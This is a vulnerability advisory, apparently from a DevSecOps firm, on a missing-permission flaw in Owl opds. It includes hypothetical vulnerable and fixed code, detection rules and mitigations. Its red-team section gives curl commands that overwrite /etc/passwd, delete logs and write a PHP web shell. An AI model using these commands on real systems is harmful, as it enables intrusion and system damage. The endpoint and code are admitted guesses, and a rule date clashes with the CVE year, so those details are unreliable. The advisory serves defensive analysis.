CVE-2026-26095

Executive Summary

CVE-2026-26095 is a critical security vulnerability in Owl opds version 2.2.0.4, involving incorrect permission assignment for critical resources (CWE-732). This flaw allows an attacker to manipulate files on the target system via a crafted network request, potentially leading to unauthorized file modification, data corruption, or remote code execution if critical system files are targeted. The vulnerability has a CVSS score of 0.0 (placeholder), but the underlying issue is severe due to the lack of proper access controls on sensitive resources. No public proof-of-concept (PoC) or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, the risk remains high for organizations using this software in production environments.

Supply Chain & Package Security

Owl opds is a software package that may be distributed via package managers or direct downloads. The vulnerability affects version 2.2.0.4, and no patched version has been released. Organizations should verify the integrity of their installations and consider isolating the software until a fix is available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability description (incorrect permission assignment leading to file manipulation), a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – File manipulation could expose sensitive data.
• Integrity (I): High (H) – Files can be modified.
• Availability (A): High (H) – File manipulation could lead to denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 9.8 (Critical)

Threat Level: Critical – Remote, unauthenticated file manipulation with high impact on confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability stems from incorrect permission assignment for critical resources in Owl opds 2.2.0.4. The software likely exposes file system operations (e.g., read, write, delete) via network endpoints without proper authorization checks. An attacker can craft a network request to manipulate files, potentially targeting configuration files, user data, or executable binaries.

Root Cause: The application fails to validate that the requesting user has appropriate permissions to perform file operations on critical resources. This could be due to:

• Missing access control checks on API endpoints.
• Overly permissive default file permissions.
• Insecure deserialization or path traversal combined with weak permissions.

Attack Vector: The attacker sends a specially crafted HTTP request (e.g., POST, PUT, DELETE) to a vulnerable endpoint, specifying a file path and operation. The server processes the request without verifying permissions, leading to unauthorized file manipulation.

Impact: Successful exploitation could allow an attacker to:

• Overwrite configuration files to alter application behavior.
• Delete critical system files, causing denial of service.
• Upload malicious files (e.g., web shells) for remote code execution.
• Read sensitive files, leading to data exfiltration.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the file handling logic of Owl opds 2.2.0.4. Below is a hypothetical example of vulnerable and patched code.

Vulnerable Code (Python-like pseudocode):

@app.route('/file/manipulate', methods=['POST'])
def manipulate_file():
    file_path = request.json.get('path')
    operation = request.json.get('operation')
    data = request.json.get('data')
    
    if operation == 'write':
        with open(file_path, 'w') as f:
            f.write(data)
    elif operation == 'delete':
        os.remove(file_path)
    # No permission check
    return 'Success'

Patched Code (Hypothetical):

@app.route('/file/manipulate', methods=['POST'])
def manipulate_file():
    user = authenticate(request)  # Authenticate user
    if not user:
        return 'Unauthorized', 401
    
    file_path = request.json.get('path')
    operation = request.json.get('operation')
    data = request.json.get('data')
    
    # Check if user has permission to access the file
    if not user.has_permission(file_path, operation):
        return 'Forbidden', 403
    
    # Sanitize file path to prevent traversal
    safe_path = os.path.normpath(file_path)
    if not safe_path.startswith('/allowed/directory/'):
        return 'Invalid path', 400
    
    if operation == 'write':
        with open(safe_path, 'w') as f:
            f.write(data)
    elif operation == 'delete':
        os.remove(safe_path)
    return 'Success'

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install Owl opds 2.2.0.4 on a test VM (e.g., Ubuntu 22.04).
2. Ensure the service is running and accessible over the network.
3. Use a tool like Burp Suite or curl to craft requests.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /file/manipulate).
2. Send a POST request to manipulate a critical file:

   curl -X POST http://target:8080/file/manipulate \
     -H "Content-Type: application/json" \
     -d '{"path": "/etc/passwd", "operation": "write", "data": "malicious content"}'
   

3. Alternatively, delete a file:

   curl -X POST http://target:8080/file/manipulate \
     -H "Content-Type: application/json" \
     -d '{"path": "/var/log/syslog", "operation": "delete"}'
   

4. For remote code execution, upload a web shell:

   curl -X POST http://target:8080/file/manipulate \
     -H "Content-Type: application/json" \
     -d '{"path": "/var/www/html/shell.php", "operation": "write", "data": "<?php system($_GET['cmd']); ?>"}'
   

Note: No public exploit code is available; the above is a hypothetical example.

Blue Team (Defensive)

Detection:

• Monitor for unusual file modification requests to sensitive paths.
• Use file integrity monitoring (FIM) tools to detect unauthorized changes.
• Enable detailed logging on the Owl opds service.

Mitigation:

• Isolate the vulnerable service in a restricted network segment.
• Apply strict firewall rules to limit access to the service.
• Monitor for exploitation attempts using the detection rules below.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /file/manipulate or similar endpoints.
  • Requests containing JSON payloads with path, operation, and data fields.
  • Unusual file paths in requests (e.g., /etc/passwd, /var/www/html/).

• File System IOCs:

  • Unexpected modifications to configuration files (e.g., config.xml, settings.json).
  • New files in web-accessible directories (e.g., shell.php, cmd.jsp).
  • Deletion of log files or critical system files.

• Log IOCs:

  • Application logs showing file manipulation operations without authentication.
  • System logs indicating unauthorized file access or modification.

Detection Engineering

YARA Rule

rule CVE_2026_26095_Owl_File_Manipulation {
    meta:
        description = "Detects file manipulation attempts targeting Owl opds CVE-2026-26095"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-26095"
    strings:
        $json_path = /"path"\s*:\s*"[^"]*"/ nocase
        $json_operation = /"operation"\s*:\s*"(write|delete|rename)"/ nocase
        $json_data = /"data"\s*:\s*"[^"]*"/ nocase
        $sensitive_path = /(etc|var\/www|boot|proc)/ nocase
    condition:
        all of ($json_path, $json_operation) and #json_data > 0 and $sensitive_path
}

Sigma Rule

title: CVE-2026-26095 - Owl opds File Manipulation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network requests attempting to exploit CVE-2026-26095 via file manipulation endpoints.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/file/manipulate'
        cs-uri-query|contains: 
            - 'path'
            - 'operation'
            - 'data'
    condition: selection
falsepositives:
    - Legitimate administrative actions (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-26095 - Owl opds File Manipulation Attempt"; flow:to_server; content:"POST"; http_method; content:"/file/manipulate"; http_uri; content:"path"; http_client_body; content:"operation"; http_client_body; content:"data"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Service: Place Owl opds 2.2.0.4 behind a firewall or VPN to restrict network access.
2. Disable Vulnerable Endpoints: If possible, disable the file manipulation functionality until a patch is available.
3. Monitor Logs: Enable detailed logging and monitor for suspicious file manipulation requests.

Long-Term Fixes:

1. Apply Patches: Await an official patch from Owl. In the meantime, consider applying virtual patches via a WAF (Web Application Firewall).
2. Implement Access Controls: Ensure proper authentication and authorization for all file-related operations.
3. Code Review: Conduct a security audit of the application to identify and fix permission assignment issues.
4. Upgrade: Once a patched version is released, upgrade immediately.

Workarounds:

• Use a reverse proxy (e.g., Nginx) to block requests to /file/manipulate.
• Implement file system permissions to restrict the application's write access to only necessary directories.

Valters IT
DevSecOps & Cyber Threat Intelligence